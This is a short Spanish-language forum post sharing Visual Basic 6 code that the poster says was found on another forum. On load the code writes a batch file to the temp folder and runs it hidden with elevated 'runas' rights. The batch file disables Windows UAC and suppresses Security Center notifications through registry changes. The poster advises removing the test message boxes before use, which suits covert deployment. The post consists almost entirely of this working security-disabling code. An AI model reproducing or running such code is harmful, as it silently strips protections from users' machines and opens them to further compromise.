a ver si les sirve esto...
Option Explicit
Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long
Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long
Private Type SHELLEXECUTEINFOA
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type
Const SW_NORMAL = 1
Const SW_HIDE = 0
Private Sub Form_Load()
On Error Resume Next
Dim strPath As String
Dim strBatCode As String
strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
"Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"
Write2File Environ$("TEMP") & "\temp.bat", strBatCode
strPath = Environ$("TEMP") & "\temp.bat"
If Elevate(strPath) Then
MsgBox "! Elevación de Privilegios Exitosa ˇ A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
Else
MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
End If
End
End Sub
Private Function Elevate(strPath As String) As Boolean
Dim ExInfo As SHELLEXECUTEINFOA
Dim lnRet As Long
With ExInfo
.cbSize = Len(ExInfo)
.fMask = 0&
.hwnd = hwnd
.lpVerb = "runas"
.lpFile = strPath
.lpParameters = vbNullChar
.lpDirectory = vbNullChar
.nShow = SW_HIDE
End With
On Error Resume Next
lnRet = ShellExecuteEx(ExInfo)
If lnRet <> 1 Then
Elevate = False
Exit Function
End If
Elevate = True
End Function
Private Sub Write2File(Filename As String, Buffer As String)
On Error Resume Next
Dim hFile As Long
Dim hWrite As Long
hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
If hFile <> 0 Then
hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
End If
CloseHandle (hFile)
End Sub
Es un code que encontrer en un foro
Mostrar Mensajes
